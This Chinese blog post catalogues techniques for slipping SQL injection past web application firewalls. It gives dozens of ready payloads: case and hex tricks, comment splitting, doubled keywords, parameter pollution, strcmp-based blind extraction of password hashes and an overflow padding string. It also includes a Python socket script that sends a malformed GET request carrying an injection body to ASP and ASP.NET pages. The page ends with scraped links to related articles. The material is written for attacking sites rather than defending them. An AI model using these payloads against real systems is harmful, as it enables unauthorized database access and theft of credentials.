WAF绕过方法
1.大小写绕过
这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union UnIoN等等绕过。
2.简单编码绕过
比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用%55也就是U的16进制编码来代替U,union写成 %55nION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以。
也还有大家在Mysql注入中比如表名或是load文件的时候,会把文件名或是表明用16进制编码来绕过WAF都是属于这类。
3.注释绕过
这种情况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询。
01./?id=1+union+select+1,2,3/*
比如对于上面这条查询,WAF过滤了一次union和select,那么我们在之前在写一个注释的语句,让他把注释里面的过滤掉,并不影响我们的查询。
所以绕过语句就是:
01./?id=1/*union*/union/*select*/select+1,2,3/*
还有一种和注释有关的绕过:
比如:
01.index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…
可以看到,只要我们把敏感词放到注释里面,注意,前面要加一个!
4.分隔重写绕过
还是上面的例子,适用于那种WAF采用了正则表达式的情况,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。
我们可以通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果。
01./?id=1+un/**/ion+sel/**/ect+1,2,3--
至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。
01.?id=1 ununionion select 1,2,3--
5.Http参数污染(HPP)
比如我们有这样的语句:
01./?id=1 union select+1,2,3+from+users+where+id=1--
我们可以重复一次前面的id值添加我们的值来绕过,&id=会在查询时变成逗号:
01./?id=1 union select+1&id=2,3+from+users+where+id=1--
这种情况成功的条件比较多,取决于具体的WAF实现。
再给出一个例子说明用法:
01./?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--
具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的:
01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];
那我们可以构造这样的注入语句:
01./?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
最终解析为:
01.select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
可以看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。但是也可以一试。
6.使用逻辑运算符 or /and绕过
01./?id=1+OR+0x50=0x50
02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
顺便解释一下第二句话,从最里面的括号开始分析,select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录,比如是admin,
然后mid(上一句),1,1就是取admin的第一个字符,也就是a,
lower(上一句)就是把字符转换为小写,
然后ascii就是把a转换成ascii码,看等不等于74。
7.比较操作符替换
包括!= 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=来绕过。
比如上一个例子,要判断是不是74,假设=被过滤,那么我们可以判断是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都会忘了这个。
8.同功能函数替换
Substring()可以用mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换。Benchmark()可以用sleep()来替换,这两个使用在基于延时的盲注中,有机会给大家介绍。
如果连这些都屏蔽了,还有一种新的方法:
01. substring((select 'password'),1,1) = 0x70
02.substr((select 'password'),1,1) = 0x70
03.mid((select 'password'),1,1) = 0x70
比如这三条,都是从password里判断第一个字符的值,可以用:
01.strcmp(left('password',1), 0x69) = 1
02.strcmp(left('password',1), 0x70) = 0
03.strcmp(left('password',1), 0x71) = -1
来替换,left用来取字符串左起1位的值,strcmp用来比较两个值,如果比较结果相等就为0,左边小的话就为-1,否则为1。
还有我前几篇说过的group_concat 和concat和concat_ws也可以互相替换。
9.盲注无需or和and
比如有这样一个注入点:
01.index.php?uid=123
and、or被过滤了,其实有一种更直接的方法,我们直接修改123为我们的语句生成的:
01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的时候页面是正确的,我们现在在盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是B,就这样猜,不用and和or了。
10. 加括号
01./?id=1+union+(select+1,2+from+users)
比如,上面这一条被WAF拦截了。可以试试加一些括号:
01./?id=1+union+(select+1,2+from+xxx)
02./?id=(1)union(select(1),mid(hash,1,32)from(users))
03./?id=1+union+(select'1',concat(login,hash)from+users)
04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))
05./?id=(1)or(0x50=0x50)
11.缓冲区溢出绕过
这个是从国外一个博客看到的:
01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),
8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
02.,27,28,29,30,31,32,33,34,35,36–+
其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好,一般要求1000个以上。
12.Request对象的包解析漏洞
sp和asp.net的Request对象存在一个包解析漏洞,Request对象对于GET和POST包的解析过于宽松,
用一句话表达就是Request对象它GET和POST傻傻分不清楚,稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据
分别将下面两段代码保存为1.asp和1.aspx
使用asp的Request对象接收t参数传值
<%
Response.Write "Request:" & Request("t")
%>
使用asp.net的Request对象接收t参数传值
<%@ Page Language="C#" %>
<%
string test = Request["t"];
Response.Write("Request:"+test);
%>
使用下面的python脚本调用socket发送原始的HTTP包
01 #!/usr/bin/env python
02
03 import socket
04
05 host = '192.168.239.129'
06 path = '/1.asp'
07 port = 80
08
09 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10 s.connect((host, port))
11 s.settimeout(8)
12
13 exploit_packet="t='/**/or/**/1=1–"
14 exploit_packet+="\r\n" * 8
15 packet_length = len(exploit_packet)
16 packet='GET' + path + ' HTTP/1.1\r\n'
17 packet+='Host:' + host + '\r\n'
18 packet+='Content-Length: %s\r\n' % packet_length
19 packet+='Content-Type: application/x-www-form-urlencoded\r\n'
20 packet+='\r\n'
21 packet = packet + exploit_packet
22
23 print packet
24 s.send(packet)
25 buf = s.recv(1000)
26 if buf: print buf[buf.rfind("\r\n"):]
27 s.close()
我们发送的原始包是:
1 GET /1.asp HTTP/1.1
2 Host: 192.168.239.129
3 Content-Length: 34
4 Content-Type: application/x-www-form-urlencoded
5
6 t='/**/or/**/1=1–
结果返回如下:
Request:'/**/or/**/1=1–
将python测试脚本的path改为/1.aspx测试页返回同样结果。
我们可以看到这是一个畸形的HTTP GET请求包,这个包的奥秘在于Content-Type和Content-Length头,包的结构类似于一个POST包,而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。
13.ASP.NET的Request对象Params属性
ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据,参考[4]微软MSDN文档我们可以知道Params属性的特性,该属性接收GET,POST和Cookie的传值集合,这里我们可以测试一下:
使用asp.net的Request.Params方法接收 t 参数传值
1 <%@ Page Language="C#" %>
2 <%
3 string test = Request.Params["t"];
4 Response.Write("Request:"+test);
5 %>
发送一个POST包,GET,POST,COOKIE三个方法中都带有不同的t参数内容
1 POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
2 Host: 192.168.239.129
3 Cookie: t=2
4
5 t=3
结果返回
Request:1,3,2
最后得出结论,Request.Params方法接收的数据是按照GPC顺序整合,看到这里的同学再联想到0x02的复参攻击应该如醍醐灌顶了,我们可以将SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。
WAF绕过方法的更多相关文章
- [转载]SQL注入绕过WAF的方法总结
基本/简单绕过方法: 1.注释符 http://www.0dayhack.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4-. 2.使用 ...
- 从偶然的机会发现一个mysql特性到wooyun waf绕过题
从偶然的机会发现一个mysql特性到wooyun waf绕过题 MayIKissYou | 2015-06-19 12:00 最近在测试的时候,偶然的机会发现了一个mysql的特性, 为啥是偶然的机会 ...
- WAF绕过小结
WAF介绍 什么是WAF? Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品. 基本/简单绕过方法: 1.注释符 http://www.site. ...
- WAF绕过神器 (过安全狗、智创SQL注入)
WAF绕过神器 (过安全狗.智创SQL注入) 发布时间:-- :10文章来源:网络文章作者:panni007 点击次数: 次 分享到: QQ空间 QQ微博 新浪微博 开心网 人人网 摘要:起因: by ...
- 16. 再说 WAF 绕过
1,大小写混排 这可以算最容易想到的方式了.大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式 /express/i 大小写不敏感即无法绕过,这是最简单的绕过技术. 举例: z.com/ind ...
- 渗透测试学习 二十八、WAF绕过详解
大纲: WAF防护原理讲解 目录扫描绕过WAF 手工注入绕过WAF sqlmap绕过WAF 编写salmap绕过WAF 过WAF一句话编写讲解 菜刀连接绕过WAF webshell上传绕过WAF 提权 ...
- 常见WAF绕过思路
WAF分类 0x01 云waf 在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机. 0x02 ...
- 各种WAF绕过手法学习
原文:https://mp.weixin.qq.com/s/aeRi1lRnKcs_N2JLcZZ0Gg 0X00 Fuzz/爆破 fuzz字典 1.Seclists/Fuzzing https ...
- sql注入之堆叠注入及waf绕过注入
#堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...
随机推荐
- Python与数据库[2] -> 关系对象映射/ORM[5] -> 利用 sqlalchemy 实现关系表查询功能
利用 sqlalchemy 实现关系表查询功能 下面的例子将完成一个通过关系表进行查询的功能,示例中的数据表均在MySQL中建立,建立过程可以使用 SQL 命令或编写 Python 适配器完成. 示例 ...
- vue的路由设置小结
vue的路由设置小结 // 异步路由的编写示例.其中针对component字段进行懒加载及分块处理,提升首屏加载速度的同时,也可以手动控制让某些页面合并到一个单独的js文件中,而不是每个页面都是一个j ...
- 洛谷——P3395 路障
P3395 路障 题目背景 此题约为NOIP提高组Day1T1难度. 题目描述 B君站在一个n*n的棋盘上.最开始,B君站在(1,1)这个点,他要走到(n,n)这个点. B君每秒可以向上下左右的某个方 ...
- Out of Sorts II
问题 E: Out of Sorts II 时间限制: 1 Sec 内存限制: 128 MB提交: 68 解决: 4[提交] [状态] [讨论版] [命题人:] 题目描述 Keeping an e ...
- hdu 1506 Largest Rectangle in a Histogram 构造
题目链接:HDU - 1506 A histogram is a polygon composed of a sequence of rectangles aligned at a common ba ...
- Jenkins配置Publish Junit test result report(转)
参考这篇文章:http://www.yiibai.com/jenkins/jenkins_unit_testing.html 插件:JUnit Plugin
- UBIFS 术语
B+ tree: base head: budgeting: 空闲空间评估 bud: 一个日志使用的eraseblock cnode: commit: 更新index到flash上的过程 commit ...
- 【IntellJ IDEA】idea上 实现了Serializable接口,要自动生成serialVersionUID的方法
需要点进setting ->搜索Inspections-->右侧选择java 下拉 进入Serialization issue--->勾选Serializable class wit ...
- 理解 VMWare的3种网络模型 z
在说到VMware的网络模型之前,先说一下VMware的几个虚拟设备: ■ VMnet0:这是VMware用于虚拟桥接网络下的虚拟交换机: ■ VMnet1:这是VMware用于虚拟Host-Only ...
- Google Xpath Helper
下载方法: 1. 访问http://chrome-extension-downloader.com/ 2. 把https://chrome.google.com/webstore/detail/xpa ...